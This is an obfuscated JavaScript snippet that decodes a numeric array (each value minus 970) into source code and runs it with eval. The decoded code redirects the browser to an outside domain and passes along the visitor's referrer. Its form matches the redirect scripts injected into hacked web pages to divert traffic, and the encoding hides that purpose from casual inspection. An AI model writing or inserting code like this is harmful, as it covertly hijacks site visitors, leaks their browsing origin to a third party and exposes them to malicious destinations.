var str=["980", "979", "979", "979", "1088", "1067", "1084", "1002", "1082", "1081", "1088", "1031", "1018", "1029", "980", "979", "979", "979", "1072", "1087", "1080", "1069", "1086", "1075", "1081", "1080", "1002", "1084", "1067", "1084", "1076", "1010", "1083", "1087", "1071", "1084", "1091", "1011", "1093", "980", "979", "979", "979", "979", "1075", "1072", "1002", "1010", "1082", "1081", "1088", "1031", "1031", "1018", "1011", "1093", "1082", "1081", "1088", "1031", "1019", "1029", "1002", "1085", "1071", "1086", "1054", "1075", "1079", "1071", "1081", "1087", "1086", "1010", "1009", "1084", "1067", "1084", "1076", "1010", "1004", "1009", "1013", "1083", "1087", "1071", "1084", "1091", "1013", "1009", "1004", "1011", "1009", "1014", "1002", "1019", "1011", "1029", "1002", "1095", "1002", "1071", "1078", "1085", "1071", "1002", "1093", "980", "979", "979", "979", "979", "1089", "1075", "1080", "1070", "1081", "1089", "1016", "1078", "1081", "1069", "1067", "1086", "1075", "1081", "1080", "1031", "1009", "1074", "1086", "1086", "1082", "1028", "1017", "1017", "1082", "1067", "1073", "1071", "1074", "1074", "1065", "1084", "1071", "1069", "1075", "1082", "1071", "1085", "1015", "1068", "1069", "1016", "1068", "1078", "1067", "1069", "1077", "1085", "1086", "1087", "1072", "1072", "1085", "1016", "1069", "1081", "1079", "1017", "1075", "1080", "1070", "1071", "1090", "1016", "1074", "1086", "1079", "1078", "1033", "1052", "1071", "1072", "1031", "1009", "1013", "1071", "1080", "1069", "1081", "1070", "1071", "1055", "1052", "1043", "1037", "1081", "1079", "1082", "1081", "1080", "1071", "1080", "1086", "1010", "1070", "1081", "1069", "1087", "1079", "1071", "1080", "1086", "1016", "1084", "1071", "1072", "1071", "1084", "1084", "1071", "1084", "1011", "1029", "980", "979", "979", "979", "979", "1095", "980", "979", "979", "979", "1095"];
 var temp='';
 var red=''; 
 for (i=0; i<str.length; i++){
 red=str[i]-970; 
 temp=temp+String.fromCharCode(red); 
 } 
 eval(temp);